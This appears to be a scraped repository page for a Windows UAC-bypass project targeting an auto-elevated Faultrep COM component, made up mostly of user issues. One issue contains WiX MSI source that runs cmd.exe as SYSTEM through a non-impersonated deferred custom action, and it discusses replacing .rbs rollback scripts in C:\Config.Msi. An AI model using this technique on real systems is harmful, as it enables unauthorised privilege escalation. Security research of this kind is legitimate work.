The ifaultrepelevateddatacollectionuac from wh04m1001

Hi there 👋

Penetration tester - Interested in Windows internals and security research.

ifaultrepelevateddatacollectionuac's People

Contributors

Stargazers

Watchers

ifaultrepelevateddatacollectionuac's Issues

how to Improve success rate？txk

How can I develop my .rbs file?

Hi,
Congratulations on your project, it is really a awesome research!

One question: I have an issue with the trigger of the .rbs file.

I have created the following .msi which successfully triggers the payload (cmd.exe) as can be seen from the PoC.

The problem is that when I replace cmd.rbs with my .rbs (inside C:\Config.Msi), nothing happens.

This is my source code for the execution of my payload :

<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Demo" Version="0.0.1" Manufacturer="demo" Language="1033">
	<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
	<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>

	<Directory Id="TARGETDIR" Name="SourceDir">
		<Directory Id="ProgramFilesFolder">
			<Directory Id="INSTALLLOCATION" Name="Example">
				<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
					<File Id="ApplicationFile1" Source="C:\\Windows\\System32\\cmd.exe"/>
				</Component>
			</Directory>
		</Directory>
	</Directory>

	<Feature Id="DefaultFeature" Level="1">
		<ComponentRef Id="ApplicationFiles"/>
	</Feature>

	<Property Id="cmdline">
		cmd.exe
	</Property>

	<CustomAction Id="SystemShell" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore" Impersonate="no"/>

	<InstallExecuteSequence>
		<Custom Action="SystemShell" After="InstallInitialize"></Custom>
	</InstallExecuteSequence>
</Product>

Can you help me?
Thanks in advance.

There is no win32 .exe version

I use Kali Linux, and also my knowledge in C++ is close to zero, can I get the x32 exe version?

What the Proc6 method does

Hi, I'm trying to explore this Auto-Elevated COM component.

I found the virtual table in Faultrep.dll via IDA Pro.

this function is an export function of another dll, but when I try to check the imported dll, there is no information about this function in this dll, I know it may be related to the RPC marshaling.

All in all I would like to know how you know what the Proc6 function does and how to find the definition of the function (by ida reverse or other methods)?

Thank you :)

Recommend Projects